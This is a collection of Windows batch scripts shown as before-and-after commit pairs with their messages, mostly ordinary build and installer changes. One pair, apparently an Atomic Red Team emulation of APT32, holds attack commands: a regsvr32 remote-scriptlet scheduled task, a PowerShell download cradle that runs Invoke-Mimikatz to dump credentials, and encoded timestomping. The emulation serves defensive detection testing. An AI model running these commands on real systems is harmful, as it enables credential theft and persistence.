copy target\*.exe c:\temp /y

Echo Finished.

goto end

rem prepare for signing
:error_sdk
echo off
echo install windows 10 SDK via https://visualstudio.microsoft.com/
echo and component Windows 10 SDK
echo and set WIN10_SDK_HOME=C:\Program Files (x86)\Windows Kits\10\bin\10.0.18362.0\x86
goto end

:error_nsis
echo off
Echo Error on NSIS. Maybe that helps:
Echo Download nsis-3.04-log.zip from https://sourceforge.net/projects/nsis/files/NSIS%203/3.04/
Echo Unzip it and refer it via set NSIS_HOME=C:\programs\nsis-3.04-log
goto end

:end

popd

build on c:\temp

build on c:\temp


@echo off
path %path%;%programfiles(x86)%\Steam\SteamApps\common\GarrysMod\bin
mkdir tmp
robocopy . tmp *.json *.lua *.wav *.mp3 *.jpg *.png *.txt /E /XD tmp /XF LICENSE.txt
gmad create -folder "tmp" -out "builds\disguiser_swep.gma"
rmdir /q /s tmp
pause

Build script.

Build script.


:: options
@echo Off
cd %~dp0
setlocal

:: set tool versions
set NUGET_VERSION=4.3.0
set CSI_VERSION=2.4.0

:: determine nuget cache dir
set NUGET_CACHE_DIR=%LocalAppData%\.nuget\v%NUGET_VERSION%
set NUGET_LOCAL_DIR=.nuget\v%NUGET_VERSION%

:: download nuget to cache dir
set NUGET_URL=https://dist.nuget.org/win-x86-commandline/v%NUGET_VERSION%/NuGet.exe
if not exist %NUGET_CACHE_DIR%\NuGet.exe (
  if not exist %NUGET_CACHE_DIR% mkdir %NUGET_CACHE_DIR% || goto :error
  echo Downloading '%NUGET_URL%'' to '%NUGET_CACHE_DIR%\NuGet.exe'...
  @powershell -NoProfile -ExecutionPolicy unrestricted -Command "$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest '%NUGET_URL%' -OutFile '%NUGET_CACHE_DIR%\NuGet.exe'"
)

:: copy nuget locally
if not exist %NUGET_LOCAL_DIR%\NuGet.exe (
  if not exist %NUGET_LOCAL_DIR% mkdir %NUGET_LOCAL_DIR% || goto :error
  copy %NUGET_CACHE_DIR%\NuGet.exe %NUGET_LOCAL_DIR%\NuGet.exe > nul || goto :error
)

:: restore packages for build script
echo Restoring NuGet packages for build script...
%NUGET_LOCAL_DIR%\NuGet.exe restore .\packages.config -PackagesDirectory ./packages || goto :error

:: run build script
echo Running build script...
.\packages\Microsoft.Net.Compilers.%CSI_VERSION%\tools\csi.exe .\build.csx %* || goto :error

:: exit
goto :EOF
:error
exit /b %errorlevel%

@echo Off
cd %~dp0
setlocal EnableDelayedExpansion

set NUGET_VERSION=4.3.0
set CSI_VERSION=2.4.0

set NUGET_URI=https://dist.nuget.org/win-x86-commandline/v%NUGET_VERSION%/NuGet.exe
set PACKAGES_CONFIG=packages.config
set PACKAGES_DIR=packages\
set CSI_EXE=%PACKAGES_DIR%\Microsoft.Net.Compilers.%CSI_VERSION%\tools\csi.exe
set SCRIPT=%~n0.csx
set NUGET_EXE_DIR=.nuget\v%NUGET_VERSION%\
set NUGET_EXE=%NUGET_EXE_DIR%NuGet.exe
set NUGET_CACHE_DIR=%LOCALAPPDATA%\%NUGET_EXE_DIR%
set NUGET_CACHE=%NUGET_CACHE_DIR%NuGet.exe

if not exist %NUGET_EXE% (
  if not exist %NUGET_CACHE% (
    if not exist %NUGET_CACHE_DIR% mkdir %NUGET_CACHE_DIR% || exit /b %ERRORLEVEL%
    echo %~nx0: Downloading '%NUGET_URI%' to '%NUGET_CACHE%'...
    @powershell -NoProfile -ExecutionPolicy unrestricted -Command "Invoke-WebRequest '%NUGET_URI%' -OutFile '%NUGET_CACHE%'" || exit /b %ERRORLEVEL%
  )

  echo %~nx0: Copying '%NUGET_CACHE%' to '%NUGET_EXE_DIR%'...
  xcopy %NUGET_CACHE% %NUGET_EXE_DIR% /q || exit /b %ERRORLEVEL%
)

echo %~nx0: Restoring NuGet packages for '%SCRIPT%'...
%NUGET_EXE% restore %PACKAGES_CONFIG% -PackagesDirectory %PACKAGES_DIR% || exit /b %ERRORLEVEL%

echo %~nx0: Running '%SCRIPT%'...
%CSI_EXE% %SCRIPT% %*

refactor build.cmd

refactor build.cmd


@echo Off
pushd %~dp0
setlocal

:Build
call npm install
call npm run check
call npm run build
call npm run lint
call npm run coverage:teamcity
call npm run integration-test
call npm run integration-test-stdin-windows

if %ERRORLEVEL% neq 0 goto BuildFail
goto BuildSuccess

:BuildFail
echo.
echo *** BUILD FAILED ***
goto End

:BuildSuccess
echo.
echo *** BUILD SUCCEEDED ***
goto End

:End
echo.
popd
exit /B %ERRORLEVEL%

@echo Off
pushd %~dp0
setlocal

:Build
call npm install
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run check
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run build
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run lint
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run coverage:teamcity
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run integration-test
if %ERRORLEVEL% neq 0 goto BuildFail

call npm run integration-test-stdin-windows
if %ERRORLEVEL% neq 0 goto BuildFail

goto BuildSuccess

:BuildFail
echo.
echo *** BUILD FAILED ***
goto End

:BuildSuccess
echo.
echo *** BUILD SUCCEEDED ***
goto End

:End
echo.
popd
exit /B %ERRORLEVEL%

Build script should fail for problems

Build script should fail for problems


rdoc -m ReadMe --title "Watir API Reference" -o rdoc  --exclude "unittests|examples|install.rb"

rdoc -m ReadMe --title "Watir API Reference" -o rdoc --exclude "unittests|examples|install.rb|camel_case.rb|testUnitAddons.rb"

remove rdoc for deprecated interfaces

remove rdoc for deprecated interfaces


@echo off

REM read configuration file
FOR /F "tokens=2 delims==" %%a IN ('find "phpPath" ^<run.ini') DO SET phpPath=%%a

IF _%phpPath%==_ SET phpPath="php.exe"

ECHO You are updating your eXpansion installation !!.
set /p continue=Are you sure you wish to continue [y/n]?:

if %continue% == y (goto :update) else (goto :eof)

REM The update procedure with 2 options.
:update
set /p dev=Do you wish to install for development [y/n]?:
if %dev% == y (goto :dev) else (goto :stable)

REM In case of dev we launh with prefer-source options to have git access
:dev
%phpPath% composer.phar update --prefer-source --no-interaction --dry-run%*
(goto :end)

REM Other case just get the code no need for heavier git.
:stable
%phpPath% composer.phar update --prefer-dist --no-interaction --dry-run%*
(goto :end)

:end
pause

@echo off

REM read configuration file
FOR /F "tokens=2 delims==" %%a IN ('find "phpPath" ^<run.ini') DO SET phpPath=%%a

IF _%phpPath%==_ SET phpPath="php.exe"

ECHO You are updating your eXpansion installation !!.
set /p continue=Are you sure you wish to continue [y/n]?:

if %continue% == y (goto :update) else (goto :eof)

REM The update procedure with 2 options.
:update
set /p dev=Do you wish to install for development [y/n]?:
if %dev% == y (goto :dev) else (goto :stable)

REM In case of dev we launh with prefer-source options to have git access
:dev
%phpPath% composer.phar update --prefer-source --no-interaction %*
(goto :end)

REM Other case just get the code no need for heavier git.
:stable
%phpPath% composer.phar update --prefer-dist --no-interaction %*
(goto :end)

:end
pause

fix update.bat!

fix update.bat!


call settings.bat

git clone https://github.com/alex85k/protobuf-c.git
cd protobuf-c/build-cmake
cmake -G %CMAKE_TARGET% -DCMAKE_BUILD_TYPE=%VARIANT% -DCMAKE_INSTALL_PREFIX=%PREFIX%
%MAKE% install
if "%Variant%" == "Debug" (
   ctest -VV
)
cd ..
cd ..

call settings.bat

git clone https://github.com/protobuf-c/protobuf-c.git
cd protobuf-c/build-cmake
cmake -G %CMAKE_TARGET% -DCMAKE_BUILD_TYPE=%VARIANT% -DCMAKE_INSTALL_PREFIX=%PREFIX%
%MAKE% install
if "%Variant%" == "Debug" (
   ctest -VV
)
cd ..
cd ..

use official repository for protobuf-c

use official repository for protobuf-c


cmd /c %PREFIX%\npm.cmd config list
rem clear npm install prefix
set NPM_CONFIG_PREFIX=
cmd /c %PREFIX%\npm.cmd config list
cmd /c %PREFIX%\npm.cmd pack
cmd /c %PREFIX%\npm.cmd install -g %PKG_NAME%-%PKG_VERSION%.tgz

cmd /c %PREFIX%\npm.cmd config list
rem clear npm install prefix
set NPM_CONFIG_PREFIX=
cmd /c %PREFIX%\npm.cmd config list
cmd /c %PREFIX%\npm.cmd pack
cmd /c %PREFIX%\npm.cmd install -g orca-%PKG_VERSION%.tgz

fix windows tgz name in bld.bat

fix windows tgz name in bld.bat


:: Adversary Group: https://attack.mitre.org/wiki/Group/G0050
:: xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
:: Thanks to Nick Carr for his research on this group
:: Sample Representation of ATT&CK Techniques used by APT32
:: Tactics: Execution, Persistence, Privilege Escalation

:: Tactic: Privilege Escalation / Execution
:: Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
:: Create Scheduled Task With RegSv32 Payload

SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll" /mo 30

SCHTASKS /Delete /TN "Atomic Testing" /F

:: Tactics: Execution
:: Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

:: Tactics: Defense Evasion
:: Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
:: Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c

echo "Atomic Test File" > test.txt
PowerShell.exe -com {$file=(gi test.txt);$date='06/06/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}

:: Tactics: Defense Evasion
:: technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107

:: Deletes File, detection here would be File Modificaiton
del test.txt

:: Adversary Group: https://attack.mitre.org/wiki/Group/G0050
:: xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
:: Thanks to Nick Carr for his research on this group
:: Sample Representation of ATT&CK Techniques used by APT32
:: Tactics: Execution, Persistence, Privilege Escalation

:: Tactic: Privilege Escalation / Execution
:: Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
:: Create Scheduled Task With RegSv32 Payload

SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll" /mo 30

SCHTASKS /Run /TN "Atomic Testing"

SCHTASKS /Delete /TN "Atomic Testing" /F

:: Tactics: Execution
:: Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

:: Tactics: Defense Evasion
:: Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
:: Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c
:: To Encode A Command
:: $Text = '$file=(gi test.txt);$date=''7/16/1945 5:29am'';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date'
:: $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
:: $EncodedText =[Convert]::ToBase64String($Bytes)
:: $EncodedText

echo "Atomic Test File" > test.txt

::PowerShell.exe -com {$file=(gi test.txt);$date = '7/16/1945 5:29am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}

PowerShell.exe -enc JABmAGkAbABlAD0AKABnAGkAIAB0AGUAcwB0AC4AdAB4AHQAKQA7ACQAZABhAHQAZQA9ACcANwAvADEANgAvADEAOQA0ADUAIAA1ADoAMgA5AGEAbQAnADsAJABmAGkAbABlAC4ATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEwAYQBzAHQAQQBjAGMAZQBzAHMAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEMAcgBlAGEAdABpAG8AbgBUAGkAbQBlAD0AJABkAGEAdABlAA==

:: Tactics: Defense Evasion
:: technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107

:: Deletes File, detection here would be File Modification
::del test.txt

Fix Dragon's Tail .bat

Fix Dragon's Tail .bat


@setlocal enableextensions enabledelayedexpansion & set "PATH0=%~f0" & PowerShell.exe -Command "& (Invoke-Expression -Command ('{#' + ((Get-Content '!PATH0:'=''!') -join \"`n\") + '}'))" %* & exit /b !errorlevel!
#
# - Name
#     ssh.bat
#
# - Contents
#     Simplify SSH Connect by Tera Term.
#     <Windows> + <R> => ssh root@192.168.1.100
#
# - Reference
#     http://pf-j.sakura.ne.jp/program/tips/ps1bat2.htm
#
# - Revision
#     2016-12-28 created.
#     2017-04-14 modified.
#     yyyy-MM-dd modified.
#

# constant
### 作業ディレクトリ
#[System.String] $base_dir = "$Env:Userprofile"             # ベースディレクトリ
[System.String] $base_dir = "$Env:Userprofile\GoogleDrive" # ベースディレクトリ
[System.String] $ssh_dir  = "$base_dir\ssh"                # teraterm起動ディレクトリ
[System.String] $log_dir  = "$ssh_dir\log"                 # teratermログ出力ディレクトリ
[System.String] $key_dir  = "$ssh_dir\key"                 # 秘密鍵設置ディレクトリ
[System.String] $csv_file = "$ssh_dir\hosts.csv"           # ログイン情報CSVファイル
### ログイン情報CSVファイル/記載内容について
###  +-----------------------------------------------------------------
###  |#Hostname,Port,Username,AuthType,Value,Alias
###  |192.168.1.100,22,root,publickey,id_rsa,root@192.168.1.100
###  |www.contoso.com,10022,admin,password,P@ssw0rd,admin@www.contoso.com
###  +-----------------------------------------------------------------

# variable
[System.String] $date = Get-Date -Format yyyyMMdd
[System.String] $time = Get-Date -Format HHmmss

# main
### teratemrインストールディレクトリからttermpro.exeを検索し、ttermpro.exeのフルパスを取得する
[System.String] $ssh_client = Get-ChildItem -recurse "C:\Program Files*\teraterm" | Where-Object { $_.Name -match "ttermpro" } | ForEach-Object { $_.FullName }
###
if (-Not $? -Or -Not(Test-Path -Path $ssh_client))
{
    Write-Output "$(Get-Date -Format yyyy-MM-ddTHH:mm:sszzz) [ERROR]: ttermpro.exe not found in `"C:\Program Files*`"."
    [Console]::ReadKey() | Out-Null
    exit 1
}

if ($args)
{
    ### $args[0]には<username>@<hostname>形式を想定
    [System.String] $ssh_alias = $args[0]
    [System.Array] $ssh_args = $args[0] -split "@"
    [System.String] $ssh_log = "$log_dir\" + $ssh_args[1] + "_" + $ssh_args[0] + "_" + $date + "_" + $time + ".log"

    ### $args[0]の値と、CSV内のAliasの値で、一致するものを取得する
    [System.Array] $csv_data = Import-Csv $csv_file | Where-Object { $_.Alias -eq $ssh_alias }

    ### $args[0]の値と、CSV内のAliasの値で、一致するものが存在する場合
    if ($csv_data)
    {
        ### TeraTermに渡す引数を作成
        [System.String] $opt_host = "ssh2://" + $csv_data[0].Hostname + ":" + $csv_data[0].Port
        [System.String] $opt_user = "/user=" + $csv_data[0].Username
        [System.String] $opt_auth = "/auth=" + $csv_data[0].AuthType
        if ($csv_data[0].AuthType -eq "password")
        {
            [System.String] $opt_value = "/passwd=" + $csv_data[0].Value
        }
        elseif ($csv_data[0].AuthType -eq "publickey")
        {
            [System.String] $opt_value = "/keyfile=$key_dir\" + $csv_data[0].Value
        }
        [System.String] $opt_dir = "/FD=$ssh_dir"
        [System.String] $opt_log = "/L=$ssh_log"

        [System.Array] $opt_array = @($opt_host,$opt_user,$opt_auth,$opt_value,$opt_dir,$opt_log,"/ssh-v","/LA=J")

    }
    ### $args[0]の値と、CSV内のAliasの値で、一致するものが存在しない場合
    else
    {
        ### CSVの内容を表示
        Import-Csv $csv_file | Where-Object { ($_.Alias) } | Select-Object Username,Hostname,Alias | Format-Table -AutoSize
        [Console]::ReadKey() | Out-Null
        exit 0
    }
}
else
{
    [System.String] $ssh_log = "$log_dir\undefined_undefined_" + $date + "_" + $time + ".log"
    [System.String] $opt_dir = "/FD=" + $ssh_dir
    [System.String] $opt_log = "/L=$ssh_log"
    [System.Array] $opt_array = @($opt_dir,$opt_log,"/ssh-v","/LA=J")
}

### teratermを実行
$ssh_process = Start-Process -FilePath $ssh_client -ArgumentList $opt_array -PassThru -Wait
### teratermログファイルの属性を読み込み専用に変更
Set-ItemProperty -Path $ssh_log -Name Attributes -Value Readonly
### teratermログファイルの内容を表示(個人的な趣味)
Get-Content -Path $ssh_log
### teratermログファイルの情報を画面に出力
Write-Output "$(Get-Date -Format yyyy-MM-ddThh:mm:sszzz) [INFO]: Log file: $ssh_log"
### TeraTermが異常終了 => 既に確立済みのsshセッションが、ネットワーク切断等により強制終了した場合
if ($ssh_process.ExitCode -ne 0)
{
    Write-Output "$(Get-Date -Format yyyy-MM-ddThh:mm:sszzz) [ERROR]: ttermpro.exe exit code NOT equal 0."
}
[Console]::ReadKey() | Out-Null
exit 0

@setlocal enableextensions enabledelayedexpansion & set "PATH0=%~f0" & PowerShell.exe -Command "& (Invoke-Expression -Command ('{#' + ((Get-Content '!PATH0:'=''!') -join \"`n\") + '}'))" %* & exit /b !errorlevel!
#
# - Name
#     ssh.bat
#
# - Contents
#     Simplify SSH Connect by Tera Term.
#     <Windows> + <R> => ssh root@192.168.1.100
#
# - Reference
#     http://pf-j.sakura.ne.jp/program/tips/ps1bat2.htm
#
# - Revision
#     2016-12-28 created.
#     2017-04-14 modified.
#     yyyy-MM-dd modified.
#

# constant
### 作業ディレクトリ
#[System.String] $base_dir = "$Env:Userprofile"             # ベースディレクトリ
[System.String] $base_dir = "$Env:Userprofile\GoogleDrive" # ベースディレクトリ
[System.String] $ssh_dir  = "$base_dir\ssh"                # teraterm起動ディレクトリ
[System.String] $log_dir  = "$ssh_dir\log"                 # teratermログ出力ディレクトリ
[System.String] $key_dir  = "$ssh_dir\key"                 # 秘密鍵設置ディレクトリ
[System.String] $csv_file = "$ssh_dir\hosts.csv"           # ログイン情報CSVファイル
### ログイン情報CSVファイル/記載内容について
###  +-----------------------------------------------------------------
###  |#Hostname,Port,Username,AuthType,Value,Alias
###  |192.168.1.100,22,root,publickey,id_rsa,root@192.168.1.100
###  |www.contoso.com,10022,admin,password,P@ssw0rd,admin@www.contoso.com
###  +-----------------------------------------------------------------
[System.String] $tt_install_uri = "https://ja.osdn.net/frs/redir.php?m=ymu&f=%2Fttssh2%2F67179%2Fteraterm-4.94.exe"
[System.String] $tt_install_exe = "$env:USERPROFILE\Downloads\teraterm-4.94.exe"

# variable
[System.String] $date = Get-Date -Format yyyyMMdd
[System.String] $time = Get-Date -Format HHmmss

# main
### teratemrインストールディレクトリからttermpro.exeを検索し、ttermpro.exeのフルパスを取得する
#[System.String] $ssh_client = Get-ChildItem -recurse "C:\Program Files*\teraterm" | Where-Object { $_.Name -match "ttermpro" } | ForEach-Object { $_.FullName }
###
if (-Not $? -Or -Not(Test-Path -Path (Get-ChildItem -recurse "C:\Program Files*\teraterm" | Where-Object { $_.Name -match "ttermpro" } | ForEach-Object { $_.FullName })))
{
    Invoke-WebRequest -Uri $tt_install_uri -OutFile $tt_install_exe
    Start-Process -FilePath $tt_install_exe -PassThru -Wait
    if (-Not $? -Or -Not(Test-Path -Path (Get-ChildItem -recurse "C:\Program Files*\teraterm" | Where-Object { $_.Name -match "ttermpro" } | ForEach-Object { $_.FullName })))
    {
        Write-Output "$(Get-Date -Format yyyy-MM-ddTHH:mm:sszzz) [ERROR]: ttermpro.exe not found in `"C:\Program Files*`"."
        [Console]::ReadKey() | Out-Null
        exit 1
    }
}

if ($args)
{
    ### $args[0]には<username>@<hostname>形式を想定
    [System.String] $ssh_alias = $args[0]
    [System.Array] $ssh_args = $args[0] -split "@"
    [System.String] $ssh_log = "$log_dir\" + $ssh_args[1] + "_" + $ssh_args[0] + "_" + $date + "_" + $time + ".log"

    ### $args[0]の値と、CSV内のAliasの値で、一致するものを取得する
    [System.Array] $csv_data = Import-Csv $csv_file | Where-Object { $_.Alias -eq $ssh_alias }

    ### $args[0]の値と、CSV内のAliasの値で、一致するものが存在する場合
    if ($csv_data)
    {
        ### TeraTermに渡す引数を作成
        [System.String] $opt_host = "ssh2://" + $csv_data[0].Hostname + ":" + $csv_data[0].Port
        [System.String] $opt_user = "/user=" + $csv_data[0].Username
        [System.String] $opt_auth = "/auth=" + $csv_data[0].AuthType
        if ($csv_data[0].AuthType -eq "password")
        {
            [System.String] $opt_value = "/passwd=" + $csv_data[0].Value
        }
        elseif ($csv_data[0].AuthType -eq "publickey")
        {
            [System.String] $opt_value = "/keyfile=$key_dir\" + $csv_data[0].Value
        }
        [System.String] $opt_dir = "/FD=$ssh_dir"
        [System.String] $opt_log = "/L=$ssh_log"

        [System.Array] $opt_array = @($opt_host,$opt_user,$opt_auth,$opt_value,$opt_dir,$opt_log,"/ssh-v","/LA=J")

    }
    ### $args[0]の値と、CSV内のAliasの値で、一致するものが存在しない場合
    else
    {
        ### CSVの内容を表示
        Import-Csv $csv_file | Where-Object { ($_.Alias) } | Select-Object Username,Hostname,Alias | Format-Table -AutoSize
        [Console]::ReadKey() | Out-Null
        exit 0
    }
}
else
{
    [System.String] $ssh_log = "$log_dir\undefined_undefined_" + $date + "_" + $time + ".log"
    [System.String] $opt_dir = "/FD=" + $ssh_dir
    [System.String] $opt_log = "/L=$ssh_log"
    [System.Array] $opt_array = @($opt_dir,$opt_log,"/ssh-v","/LA=J")
}

### teratermを実行
#$ssh_process = Start-Process -FilePath $ssh_client -ArgumentList $opt_array -PassThru -Wait
Start-Process -FilePath $ssh_client -ArgumentList $opt_array -PassThru -Wait
### teratermログファイルの属性を読み込み専用に変更
Set-ItemProperty -Path $ssh_log -Name Attributes -Value Readonly
### teratermログファイルの内容を表示(個人的な趣味)
Get-Content -Path $ssh_log
### teratermログファイルの情報を画面に出力
Write-Output "$(Get-Date -Format yyyy-MM-ddThh:mm:sszzz) [INFO]: Log file: $ssh_log"
### TeraTermが異常終了 => 既に確立済みのsshセッションが、ネットワーク切断等により強制終了した場合
if ($ssh_process.ExitCode -ne 0)
{
    Write-Output "$(Get-Date -Format yyyy-MM-ddThh:mm:sszzz) [ERROR]: ttermpro.exe exit code NOT equal 0."
}
[Console]::ReadKey() | Out-Null
exit 0

Update ssh.bat

Update ssh.bat


setlocal EnableDelayedExpansion
@echo on

:: copy the wingetopt readme (containing licenses) to the source root
copy "deps\wingetopt\README.md" "LICENSE_WINGETOPT.txt"

:: Make a build folder and change to it
mkdir build
cd build

:: configure
:: enable components explicitly so we get build error when unsatisfied
::   WITH_LOCAL_CONFIG requires libini
::   WITH_SERIAL_BACKEND requires libserialport
cmake -G "Ninja" ^
    -DCMAKE_BUILD_TYPE:STRING=Release ^
    -DCMAKE_INSTALL_PREFIX:PATH="%LIBRARY_PREFIX%" ^
    -DCMAKE_INSTALL_LIBDIR:PATH="lib" ^
    -DCMAKE_INSTALL_SBINDIR:PATH="bin" ^
    -DCMAKE_PREFIX_PATH:PATH="%LIBRARY_PREFIX%" ^
    -DCSHARP_BINDINGS=OFF ^
    -DENABLE_PACKAGING=OFF ^
    -DPYTHON_BINDINGS=ON ^
    -DPython_EXECUTABLE:PATH="%PYTHON%" ^
    -DWITH_DOC=OFF ^
    -DWITH_EXAMPLES=OFF ^
    -DWITH_MAN=OFF ^
    -DWITH_NETWORK_BACKEND=ON ^
    -DWITH_SERIAL_BACKEND=OFF ^
    -DWITH_TESTS=ON ^
    -DWITH_USB_BACKEND=ON ^
    -DWITH_XML_BACKEND=ON ^
    ..
if errorlevel 1 exit 1

:: build
cmake --build . --config Release -- -j%CPU_COUNT%
if errorlevel 1 exit 1

:: install
cmake --build . --config Release --target install
if errorlevel 1 exit 1

:: move Python package to the right place.
cd %LIBRARY_PREFIX%\Lib\site-packages
move libiio*.egg-info %SP_DIR%
move iio.py %SP_DIR%

libiio: Move Python bindings to correct location on Windows.


IF EXIST OpenBLAS_mingwpy_amd64.7z (
  "C:\Program Files\7-Zip\7z" x OpenBLAS_mingwpy_amd64.7z
)
IF EXIST OpenBLAS_mingwpy_win32.7z (
  "C:\Program Files\7-Zip\7z" x OpenBLAS_mingwpy_win32.7z
)

xcopy include\* %LIBRARY_INC%\
xcopy lib\*     %LIBRARY_LIB%\
xcopy bin\*     %LIBRARY_BIN%\

IF EXIST OpenBLAS_mingwpy_amd64.7z (
  "C:\Program Files\7-Zip\7z" x OpenBLAS_mingwpy_amd64.7z
)
IF EXIST OpenBLAS_mingwpy-win32.7z (
  "C:\Program Files\7-Zip\7z" x OpenBLAS_mingwpy-win32.7z
)

xcopy include\* %LIBRARY_INC%\
xcopy lib\*     %LIBRARY_LIB%\
xcopy bin\*     %LIBRARY_BIN%\

Update bld.bat

Update bld.bat


@echo on

git submodule update --init --recursive

cd Agiil.Web
npm install
cd ..

nuget restore Agiil.sln

@echo on

git submodule update --init --recursive

nuget restore Agiil.sln

cd Agiil.Web

REM It's very strange but this has to be the last line of the script.
REM As soon as it completes, this script is terminated and nothing afterwards
REM is executed.
npm install

Reorder build script to work around unexplained error


bundle exec jekyll serve --watch --force_polling --config _config.yml,_config_dev.yml

add a script to run `jekyll serve`

add a script to run `jekyll serve`


echo y | "%ANDROID_HOME%/tools/android.bat" update sdk --no-ui --all --filter android-10,android-23,platform-tools,tools,build-tools-23.0.3

echo y | "%ANDROID_HOME%/tools/android.bat" --silent update sdk --no-ui --all --filter android-10,android-23,platform-tools,tools,build-tools-23.0.3

Set --silent to reduce android sdk logs (hopefully).


@echo off
rem Licensed to the Apache Software Foundation (ASF) under one
rem or more contributor license agreements.  See the NOTICE file
rem distributed with this work for additional information
rem regarding copyright ownership.  The ASF licenses this file
rem to you under the Apache License, Version 2.0 (the
rem "License"); you may not use this file except in compliance
rem with the License.  You may obtain a copy of the License at
rem
rem   http://www.apache.org/licenses/LICENSE-2.0
rem
rem Unless required by applicable law or agreed to in writing,
rem software distributed under the License is distributed on an
rem "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
rem KIND, either express or implied.  See the License for the
em specific language governing permissions and limitations
rem under the License.

set VELCP=.

for %%i in (..\..\bin\*.jar) do call appendVELCP %%i
for %%i in (..\..\bin\lib\*.jar) do call appendVELCP %%i

echo Using classpath:  %VELCP%

java -cp %VELCP% Example2

@echo off
rem Licensed to the Apache Software Foundation (ASF) under one
rem or more contributor license agreements.  See the NOTICE file
rem distributed with this work for additional information
rem regarding copyright ownership.  The ASF licenses this file
rem to you under the Apache License, Version 2.0 (the
rem "License"); you may not use this file except in compliance
rem with the License.  You may obtain a copy of the License at
rem
rem   http://www.apache.org/licenses/LICENSE-2.0
rem
rem Unless required by applicable law or agreed to in writing,
rem software distributed under the License is distributed on an
rem "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
rem KIND, either express or implied.  See the License for the
rem specific language governing permissions and limitations
rem under the License.

set VELCP=.

for %%i in (..\..\bin\*.jar) do call appendVELCP %%i
for %%i in (..\..\bin\lib\*.jar) do call appendVELCP %%i

echo Using classpath:  %VELCP%

java -cp %VELCP% Example2

fix minor error in batch file

fix minor error in batch file

git-svn-id: efce15992eafbd71412d600875d997890b9afd93@708422 13f79535-47bb-0310-9956-ffa450edef68


set "ROBOZONKY_EXECUTABLE=${com.github.robozonky.distribution.jar}"

set "HERE=%~dp0%"
echo Will run %ROBOZONKY_EXECUTABLE% from '%HERE%'.

rem Use Java runtime bundled with RoboZonky, if available.
set "CUSTOM_JRE_LOCATION=%HERE%runtime\"
set "JAVA_EXECUTABLE=java.exe"
IF EXIST %CUSTOM_JRE_LOCATION%bin\%JAVA_EXECUTABLE% (
    set "JAVA_EXECUTABLE=%CUSTOM_JRE_LOCATION%bin\%JAVA_EXECUTABLE%"
    set "JAVA_HOME=%CUSTOM_JRE_LOCATION%"
)
echo Will use '%JAVA_EXECUTABLE%' as the Java executable.
echo JAVA_HOME set to '%JAVA_HOME%'.

rem TODO Don't open java.util when Yasson can be upgraded to 1.0.8+, removing the warning.
set "ROBOZONKY_OPTS=%JAVA_OPTS% --add-opens java.base/java.util=ALL-UNNAMED -XX:+ExitOnOutOfMemoryError -Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager -Dfile.encoding=UTF-8 -Djava.net.preferIPv4Stack=true"
%JAVA_EXECUTABLE% %ROBOZONKY_OPTS% -jar %HERE%%ROBOZONKY_EXECUTABLE% %*

rem Don't let the window close if something went wrong.
pause

set "ROBOZONKY_EXECUTABLE=${com.github.robozonky.distribution.jar}"

set "HERE=%~dp0%"
echo Will run %ROBOZONKY_EXECUTABLE% from '%HERE%'.

rem Use Java runtime bundled with RoboZonky, if available.
set "CUSTOM_JRE_LOCATION=%HERE%runtime\"
set "JAVA_EXECUTABLE=java.exe"
IF EXIST %CUSTOM_JRE_LOCATION%bin\%JAVA_EXECUTABLE% (
    set "JAVA_EXECUTABLE=%CUSTOM_JRE_LOCATION%bin\%JAVA_EXECUTABLE%"
    set "JAVA_HOME=%CUSTOM_JRE_LOCATION%"
)
echo Will use '%JAVA_EXECUTABLE%' as the Java executable.
echo JAVA_HOME set to '%JAVA_HOME%'.

rem TODO Don't open java.util when Yasson can be upgraded to 1.0.8+, removing the warning.
set "ROBOZONKY_OPTS=%JAVA_OPTS% --add-opens java.base/java.util=ALL-UNNAMED -XX:+ExitOnOutOfMemoryError -Dlog4j.configurationFile=log4j2.xml -Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager -Dfile.encoding=UTF-8 -Djava.net.preferIPv4Stack=true"
%JAVA_EXECUTABLE% %ROBOZONKY_OPTS% -jar %HERE%%ROBOZONKY_EXECUTABLE% %*

rem Don't let the window close if something went wrong.
pause

Enable logging in installer on Windows

Enable logging in installer on Windows


@echo off
